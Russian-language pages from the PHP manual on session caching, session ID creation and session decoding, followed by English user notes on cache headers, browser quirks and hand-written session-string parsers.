Пример #1 Пример использования session_cache_expire()

<?php

/* установить ограничитель кеша на 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* установить время жизни на 30 минут */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* старт сессии */

session_start();

echo "Ограничитель кеша теперь равен $cache_limiter<br />";
echo "Закешированные страницы сессии истекают через $cache_expire минут";
?>

Смотрите также

  • session.cache_expire
  • session.cache_limiter
  • session_cache_limiter() - Получить и/или установить текущий режим кеширования

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 18-Feb-2024 01:20
Using PHP 8.2

session_start();

$result1 = session_cache_expire( 30 ); // setter, results in Warning: Session cache expiration cannot be changed when a session is active in ...

$result2 = session_cache_expire(); // getter

var_dump( $result1, $result2 ); // prints out: int(180) int(180)    [note: 180 is the default value]

Because the session was already started, cache expiration could not be changed (warning message).  However, the return value is NOT false, it is still the original, unchanged value!

So I do not know what is considered a failure to change the value as per the documentation (`On failure to change the value, false is returned.`).
Anonymous 20-Feb-2008 08:50
The manual probably doesn't stress this enough:

** This has nothing to do with lifetime of a session **

Whatever you set this setting to, it won't change how long sessions live on your server.

This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server.


Получить и/или установить текущий режим кеширования

  • « session_cache_expire
  • session_commit »
  • PHP Manual
  • Функции для работы с сессиями
  • Получить и/или установить текущий режим кеширования

session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

session_cache_limiter — Получить и/или установить текущий режим кеширования

Описание

session_cache_limiter(?string $value = null): string|false

session_cache_limiter() возвращает имя текущего режима кеширования.

Режим кеширования определяет, какие HTTP-заголовки управления кешем посылать клиенту. Эти заголовки определяют, какими правилами кеширования контента должны руководствоваться клиент и промежуточные прокси. Установка ограничителя в значение nocache запрещает любое кеширование. Значение public разрешает кеширование как на стороне клиента, так и на прокси-серверах. private запрещает кеширование прокси-серверам, но разрешает клиенту.

Если в режиме private послать заголовок Expire, то это может привести некоторые браузеры, включая Mozilla, в замешательство. Вы можете обойти эту проблему, используя режим private_no_expire. В этом режиме заголовок Expire никогда не будет послан.

Установка режима кеширования в '' отключает автоматическую отправку кеш-заголовков.

Во время начала запроса режим кеширования сбрасывается до значения по умолчанию, хранящегося в session.cache_limiter. Таким образом, вам необходимо вызывать session_cache_limiter() для каждого запроса (перед тем, как вызвана функция session_start()).

Список параметров

value

Если value указан и не равен null, имя текущего режима кеширования изменяется на новое значение.

Возможные значения
Значение Посылаемый заголовок
public
Expires: (когда-нибудь в будущем, в зависимости от session.cache_expire)
Cache-Control: public, max-age=(когда-нибудь в будущем, в зависимости от session.cache_expire)
Last-Modified: (временная метка последнего сохранения сессии)
private_no_expire
Cache-Control: private, max-age=(session.cache_expire в будущем), pre-check=(session.cache_expire в будущем)
Last-Modified: (временная метка последнего сохранения сессии)
private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=(session.cache_expire в будущем), pre-check=(session.cache_expire в будущем)
Last-Modified: (временная метка последнего сохранения сессии)
nocache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Возвращаемые значения

Возвращает имя текущего режима кеширования. В случае, если изменить значение не удалось, возвращается false.

Список изменений

Версия | Описание
8.0.0 | value может принимать значение null.

Примеры

Пример #1 Пример использования session_cache_limiter()

<?php

/* установить режим кеширования на 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "Режим кеширования установлен в $cache_limiter<br />";
?>

Смотрите также

  • session.cache_limiter

User Contributed Notes

glenk7901 12-Feb-2016 05:39
I was having a fit trying fix an issue caused by session.cache_limiter.  Somehow I had set this to nocache (a long time ago) in the .ini file and this setting caused the back-button to not work.  When session.cache_limiter was set on private or public, the back-button worked, but then logging out of the site did not work.  I had thought that session.cache_limiter was something that should be enabled, but finally found today that turning it off (by setting it to '') fixed both these problems.  So now the question for me is, when would anybody ever want to use session.cache_limiter?  I was hating Php because of this problem.
kubavathimanshu76 at gmail dot com 06-Oct-2014 10:12
but i have problem in same browser i have login with diff users in same project but last logged user overwrite with all other user log in how to prevent this
ire dot ogunsina at gmail dot com 01-Oct-2008 07:55
I have had some trouble preventing IE, particular IE 7 to stop caching pages. I read quite a number of articles relating to people's experiences and how they fixed it but it was hard to find one that worked for me. Eventually I had to use the following fix:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">

based on the information available on following url: http://support.microsoft.com/kb/234067

Would to God that we'd all quit IE for good. Hope this saves someone some agony over IE.
yves at kochira point com 08-Sep-2008 01:58
To avoid a headache while trying the various parameters in Firefox 3.0.1 (+Firebug), just restart the browser after a change... or they're not taken into account (from 'no-cache' to 'public'/'private').
scott at realorganized dot com 01-May-2008 11:03
http://us.php.net/session_cache_limiter

sends:

Pragma: no-cache

under some conditions from server to client.

Internet Explorer has a strange interpretation of: Pragma: No-cache
being sent from the server to the client.

Here's the link:

http://support.microsoft.com/kb/234067

If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.

Note, however, that the Pragma: no-cache header was not intended for this. According to the HTTP 1.0 and 1.1 specifications, this header is defined in the context of a request only, not a response, and is actually intended for proxy servers that may prevent certain important requests from reaching the destination Web server. For future applications, the Cache-Control header is the proper means for controlling caching.

For this reason, watch out when using the Pragma: no-cache with https and IE
clay at killersoft dot com 30-Mar-2008 05:44
The actual headers that are set using the values described above are:

public:
    Expires: pageload + 3 hours
    Cache-Control: public, max-age=10800

private:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private, max-age=10800, pre-check=10800

nocache:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache

private_no_expire:
    Cache-Control: private, max-age=10800, pre-check=10800

Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all.
Fernando Gabrieli fgabrieli at gmail 07-Apr-2007 05:21
<?
    session_cache_limiter ('private, must-revalidate');

    $cache_limiter = session_cache_limiter();

    //

    session_cache_expire(60); // in minutes

    session_start() ;
?>

If i do not set must-revalidate, IE seems to cache session variables without refreshing them

If i post a form then it refreshes the variables

Firefox does not have this problem

So, be sure to use must-revalidate
Jeremiah at jkjonesco dot com 30-Oct-2006 03:20
If you are trying to work with dynamic binaries such as videos or images, the new IE 7 appears to require the ETag header.  You will need to make sure that you follow the specifications for how ETag works in order for your cache control to work properly.  Mozilla supports the ETag header as well, but does NOT require it for caching.  If you need to cache a dynamic image, video, or other binary file, then be sure to set your ETag and then check for the If-Not-Modified header on subsequent requests so that you can properly return the 304 Not Modified page.
john 28-Mar-2006 08:36
In addition to the  above, don't forget to check the php.ini file for the setting:   session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 08:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro 18-Oct-2005 04:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
02-Sep-2005 03:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au 07-Aug-2005 06:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com 12-May-2005 02:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com 12-Jan-2005 06:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com 07-Jan-2005 12:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
    header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    session_cache_limiter("must-revalidate");
    header("Content-Type: application/vnd.ms-excel");
    header('Content-Disposition: attachment; filename="fileToExport.xls"');

    // and after you start the session
    session_start();
?>
pulstar at ig dot com dot br 24-Oct-2004 02:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com 18-May-2004 02:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com 25-Mar-2004 08:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz 01-Mar-2004 06:17
I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
Mikko H?m?l?inen 22-Jan-2004 09:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com 03-Dec-2003 04:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

        header("Content-Type: application/pdf");
        header("Content-Disposition: inline; filename=foo.pdf");
        header("Accept-Ranges: bytes");
        header("Content-Length: $len");
        header("Expires: 0");
        header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko) 31-Jul-2003 02:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite 23-May-2003 09:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk 10-Mar-2003 05:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy


Псевдоним session_write_close

  • « session_cache_limiter
  • session_create_id »
  • PHP Manual
  • Функции для работы с сессиями
  • Псевдоним session_write_close

session_commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

session_commit — Псевдоним session_write_close()

Описание

Псевдоним функции session_write_close().

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый идентификатор сессии

  • « session_commit
  • session_decode »
  • PHP Manual
  • Функции для работы с сессиями
  • Создаёт новый идентификатор сессии

session_create_id

(PHP 7 >= 7.1.0, PHP 8)

session_create_id — Создаёт новый идентификатор сессии

Описание

session_create_id(string $prefix = ""): string|false

session_create_id() используется для создания нового идентификатора текущей сессии. Возвращает идентификатор сессии, который не подвержен коллизиям.

При неактивной сессии проверка на коллизии не осуществляется.

Идентификатор сессии создаётся в соответствии с настройками php.ini.

Важно использовать тот же идентификатор пользователя на вашем веб-сервере, что и для скрипта задачи сборщика мусора. В противном случае, у вас могут возникнуть проблемы доступа, особенно с дескриптором сохранения файлов.

Список параметров

prefix

Если указан параметр prefix, то новый идентификатор сессии будет с префиксом prefix. Не все символы возможно использовать в идентификаторе сессии. Допускается использовать только символы из диапазона: a-z A-Z 0-9 , (запятая) и - (минус).

Возвращаемые значения

session_create_id() возвращает новый, не подверженный коллизиям, идентификатор текущей сессии. Если используется при неактивной сессии, проверка на коллизии пропускается. В случае неудачи возвращается false.

Примеры

Пример #1 Пример использования session_create_id() с функцией session_regenerate_id()

<?php
// Функция My session start с управлением на основе временных меток
function my_session_start() {
session_start();
// Не разрешать использование слишком старых идентификаторов сессии
if (!empty($_SESSION['deleted_time']) && $_SESSION['deleted_time'] < time() - 180) {
session_destroy();
session_start();
}
}

// Функция My session regenerate id
function my_session_regenerate_id() {
// Вызов session_create_id() пока сессия активна, чтобы
// удостовериться в отсутствии коллизий.
if (session_status() != PHP_SESSION_ACTIVE) {
session_start();
}
// ВНИМАНИЕ: Никогда не используйте конфиденциальные строки в качестве префикса!
$newid = session_create_id('myprefix-');
// Установка временной метки удаления. Данные активной сессии не должны удаляться сразу же.
$_SESSION['deleted_time'] = time();
// Завершение сессии
session_commit();
// Убеждаемся в возможности установки пользовательского идентификатора сессии
// ЗАМЕЧАНИЕ: Вы должны включать опцию use_strict_mode для обычных операций.
ini_set('session.use_strict_mode', 0);
// Установка нового пользовательского идентификатора сессии
session_id($newid);
// Старт сессии с пользовательским идентификатором
session_start();
}

// Убеждаемся, что опция use_strict_mode включена.
// Опция use_strict_mode обязательна по соображениям безопасности.
ini_set('session.use_strict_mode', 1);
my_session_start();

// Идентификатор сессии должен генерироваться заново при:
// - Входе пользователя в систему
// - Выходе пользователя из системы
// - По прошествии определённого периода времени
my_session_regenerate_id();

// Далее основной код программы
?>

Смотрите также

  • session_regenerate_id() - Генерирует и обновляет идентификатор текущей сессии
  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session.use_strict_mode
  • SessionHandler::create_sid() - Возвращает новый идентификатор сессии

User Contributed Notes

haidz 13-Jun-2018 06:57
I needed to use session_create_id for the $prefix.
I used the 'create_sid' handler in session_set_save_handler and it done all the magic for me.
I could continue to use session_regenerate_id();

    function sessionCreateHandler()
    {
        $prefix = 'bla';
        return session_create_id($prefix);
    }
rowan dot collins at gmail dot com 29-Nov-2017 03:43
This function is very hard to replicate precisely in userland code, because if a session is already started, it will attempt to detect collisions using the new "validate_sid" session handler callback, which did not exist in earlier PHP versions.

If the handler you are using implements the "create_sid" callback, collisions may be detected there. This is called when you use session_regenerate_id(), so you could use that to create a new session, note its ID, then switch back to the old session ID. If no session is started, or the current handler doesn't implement "create_sid" and "validate_sid", neither this function nor session_regenerate_id() will guarantee collision resistance anyway.

If you have a suitable definition of random_bytes (a library is available to provide this for versions right back to PHP 5.3), you can use the following to generate a session ID in the same format PHP 7.1 would use. $bits_per_character should be 4, 5, or 6, corresponding to the values of the session.hash_bits_per_character / session.sid_bits_per_character ini setting. You will then need to detect collisions manually, e.g. by opening the session and confirming that $_SESSION is empty.

<?php
function session_create_random_id($desired_output_length, $bits_per_character)
{
    $bytes_needed = ceil($desired_output_length * $bits_per_character / 8);
    $random_input_bytes = random_bytes($bytes_needed);

    // The below is translated from function bin_to_readable in the PHP source (ext/session/session.c)
    static $hexconvtab = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,-';

    $out = '';

    $p = 0;
    $q = strlen($random_input_bytes);
    $w = 0;
    $have = 0;

    $mask = (1 << $bits_per_character) - 1;

    $chars_remaining = $desired_output_length;
    while ($chars_remaining--) {
        if ($have < $bits_per_character) {
            if ($p < $q) {
                $byte = ord( $random_input_bytes[$p++] );
                $w |= ($byte << $have);
                $have += 8;
            } else {
                // Should never happen. Input must be large enough.
                break;
            }
        }

        // consume $bits_per_character bits
        $out .= $hexconvtab[$w & $mask];
        $w >>= $bits_per_character;
        $have -= $bits_per_character;
    }

    return $out;
}
?>


Декодирует данные сессии из закодированной строки сессии

  • « session_create_id
  • session_destroy »
  • PHP Manual
  • Функции для работы с сессиями
  • Декодирует данные сессии из закодированной строки сессии

session_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_decode — Декодирует данные сессии из закодированной строки сессии

Описание

session_decode(string $data): bool

session_decode() декодирует сериализованные данные сессии, переданные в $data и заполняет суперглобальный массив $_SESSION полученным результатом.

По умолчанию используется внутренний метод десериализации PHP, и результат будет отличаться от формата, возвращаемого функцией unserialize(). Метод сериализации может быть установлен с помощью session.serialize_handler.

Список параметров

data

Закодированные данные, которые необходимо сохранить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • session_encode() - Кодирует данные текущей сессии в формате строки сессии
  • session.serialize_handler

User Contributed Notes

frank at interactinet dot com 24-Oct-2013 03:58
I found this to be the simplest solution:

<?php
// if session is not started
session_start();

// store our current session
$my_sess = $_SESSION;

// decode $data (the encoded session data, either from a file or database). Remember, decoded data is put directly into $_SESSION
session_decode($data);
$data = $_SESSION;

print_r($data);

// restore our own session
$_SESSION = $my_sess;

?>
Frits dot vanCampen at moxio dot com 23-Mar-2012 05:24
I noticed that the posted solutions for manually decoding sessions are not perfect, so I've contributed a more robust solution.

The preg_match solution can never work. It's not so hard to find a case that might break unserialization.
In the case of jason-joeymail is breaks on:

<?php
$_SESSION["test"] = ";oops|";
?>

Below you can find my solution. It doesn't use a regular expression but rather the reversibility of the serialize operation and the 'feature' that serialize ignores all further input when it thinks it's done. It's by no means a beautiful or particularly fast solution but it is a more robust solution.
I've added a deserializer for "php" and "php_binary". It should be trivial to add one for "wddx".

<?php
class Session {
    public static function unserialize($session_data) {
        $method = ini_get("session.serialize_handler");
        switch ($method) {
            case "php":
                return self::unserialize_php($session_data);
                break;
            case "php_binary":
                return self::unserialize_phpbinary($session_data);
                break;
            default:
                throw new Exception("Unsupported session.serialize_handler: " . $method . ". Supported: php, php_binary");
        }
    }

    private static function unserialize_php($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            if (!strstr(substr($session_data, $offset), "|")) {
                throw new Exception("invalid data, remaining: " . substr($session_data, $offset));
            }
            $pos = strpos($session_data, "|", $offset);
            $num = $pos - $offset;
            $varname = substr($session_data, $offset, $num);
            $offset += $num + 1;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }

    private static function unserialize_phpbinary($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            $num = ord($session_data[$offset]);
            $offset += 1;
            $varname = substr($session_data, $offset, $num);
            $offset += $num;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }
}
?>

Usage:

<?php
Session::unserialize(session_encode());
?>
jason at joeymail dot net 04-Jan-2011 04:23
Yet another attempt a wheel re-invention, using match with offsets rather than split...

<?php
function unserializesession( $data )
{
    if(  strlen( $data) == 0)
    {
        return array();
    }

    // match all the session keys and offsets
    preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);

    $returnArray = array();

    $lastOffset = null;
    $currentKey = '';
    foreach ( $matchesarray[2] as $value )
    {
        $offset = $value[1];
        if(!is_null( $lastOffset))
        {
            $valueText = substr($data, $lastOffset, $offset - $lastOffset );
            $returnArray[$currentKey] = unserialize($valueText);
        }
        $currentKey = $value[0];

        $lastOffset = $offset + strlen( $currentKey )+1;
    }

    $valueText = substr($data, $lastOffset );
    $returnArray[$currentKey] = unserialize($valueText);

    return $returnArray;
}
?>
davyvandenbremt at gmail dot com 16-Dec-2010 01:18
Here's what we are using to unserialize the session.

<?php
function unserialize_session($val) {
  $result = array();

  // prefixing with semicolon to make it easier to write the regular expression
  $val = ';' . $val;

  // regularexpression to find the keys
  $keyreg = '/;([^|{}"]+)\|/';

  // find all keys
  $matches = array();
  preg_match_all($keyreg, $val, $matches);

  // only go further if we found some keys
  if (isset($matches[1])) {
    $keys = $matches[1];

    // find the values by splitting the input on the key regular expression
    $values = preg_split($keyreg, $val);

    // unshift the first value since it's always empty (due to our semicolon prefix)
    if (count($values) > 1) {
      array_shift($values);
    }

    // combine the $keys and $values
    $result = array_combine($keys, $values);
  }

  return $result;
}
?>
deminy at deminy dot net 16-Nov-2007 01:24
1. Reply to ac's post:

As I mentioned at http://us.php.net/manual/en/function.unserialize.php#76977 , the regular expression used to unserialize a PHP session data won't work if the session data contains string variable which contains character '|'.

Here is a simple example I just come up with to show when the function unserializesession() won't work.

<?php
function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}

session_start();

$_SESSION['var'] = 'a|b';
$str = session_encode();
$arr = unserializesession($str);

print_r($_SESSION);
echo "<br />\n";
print_r($arr);
?>

2. Reply to bmorel's post:

Your function session_real_decode() is very nice to decode session data without involving with session functions. It works in most cases, but when dealing with reference variables, there is another case which should also be handled:

    <?php case 'r': /* reference  */ // R in lowercase ?>

I found this bug on PHP 5.1.6 several months ago, but don't know if it exsits in other version of PHP or not. Also, I am not sure if similiar bugs exist when handling other data types.

So here is my suggestion to revise the function,
2.1.
    change the switch statement from
    <?php switch ($str[$q]) { ?>
    to
    <?php switch (strtolower($str[$q])) { ?>
2.2.
    In all case statements, use lowercase characters only for character comparison. For example,
    <?php case 'R': /* reference  */ ?>
    should be be written as
    <?php case 'r': /* reference  */ ?>

(I don't want to put long code here, so just leave pieces of code to save spaces)
ac 20-Oct-2007 07:46
this solved my | problem:

function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}
leon dot pegg at gmail dot com 23-Aug-2006 08:14
i have found this to be a better way to restore session data while keeping your current session.

function decode_session($session_string){
    $current_session = session_encode();
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($session_string);
    $restored_session = $_SESSION;
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($current_session);
    return $restored_session;
}

enjoy
xueron at gmail dot com 15-Jul-2006 09:30
a perl reg:

$s = session_encoded_value;
%res = $s =~ /([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|([^\|]*[\;\}])/g;
nero321 at zmail dot sk 27-Jan-2006 05:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//   or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
    // save current session data
    //   and flush $_SESSION array
    $old = $_SESSION;
    $_SESSION = array();

    // try to decode passed string
    $ret = session_decode($sess_string);
    if (!$ret) {
        // if passed string is not session data,
        //   retrieve saved (old) session data
        //   and return false
        $_SESSION = array();
        $_SESSION = $old;

        return false;
    }

    // save decoded session data to sess_array
    //   and flush $_SESSION array
    $sess_array = $_SESSION;
    $_SESSION = array();

    // restore old session data
    $_SESSION = $old;

    // return decoded session data
    return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl 18-Oct-2005 07:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
brett at brettbrewer dot com 29-Jul-2005 11:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
              PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it 26-May-2005 03:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
      $vars = $_SESSION;
      $_SESSION = array();

      // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com 16-May-2005 06:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
sco at postmaster dot co dot uk 04-Jun-2004 07:52
